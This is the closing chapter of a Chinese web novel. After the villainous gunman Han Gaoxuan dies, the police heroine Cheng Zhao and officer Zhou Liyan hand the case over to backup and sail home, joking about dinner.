经过一番清理，警方总算辨认出枪手的身份。 韩高煊死了。 程昭如释重负，有种既定的命运已经被彻底改变的感觉。 被警方捉起来的罗坤、红狐、在海上就被大部队捉住的罗坤子女……他们这些曾经与龙傲天男主命运相连的重要配角，好像也突然清醒过来了。他们暗自后悔，自己当初为什么会那么信任/迷恋那个人…… 不过组织这些人只是后悔自己轻信他人，没有后悔自己作下的罪恶。 周立言等警方人员也莫名地觉得，身上的压力变轻松了一点。 不过他们没有联想这些和韩高煊有什么关系，毕竟他只是他们漫长的职业生涯里面，短暂出现的罪犯。 ………… 此时夜色已浓，明月悬挂在夜空中，散发柔和的光。天朗气清，海雾消散，海面平静地映照着溶溶月色。 远处几艘大船正在赶来，是姗姗来迟的专案组后援。 程昭伸了个懒腰，感觉前所未有地轻松。 “咕~”她的肚子突然发出了抗议的鸣叫，周立言忍不住笑了。 程昭摸摸肚子，可怜兮兮地说：“差不多一整天没吃饭了，好饿。” 周立言握住她的手，“你想吃什么？我们准备可以回去了。” “可以吗？还有这么多手尾……” “留给后援。”他们已经把最麻烦的活干完了，留点活给其他人吧。 后援部队的人很快就交接好工作。 “好耶，下班~~”程昭一群人坐船归航。他们只有少数的人受到比较重的伤，因为及时用药，没有死亡，可以说是大获全胜。 周立言轻笑，“我们应该会先回H市，休息一晚，你想吃什么？” 程昭一下子又感觉选择困难了，“那边海鲜很出名，很多特色菜，水果也很丰富，好多东西都想吃……” “没事，你慢慢想，我们这么多人，可以点很多菜，我请客……” ——正文完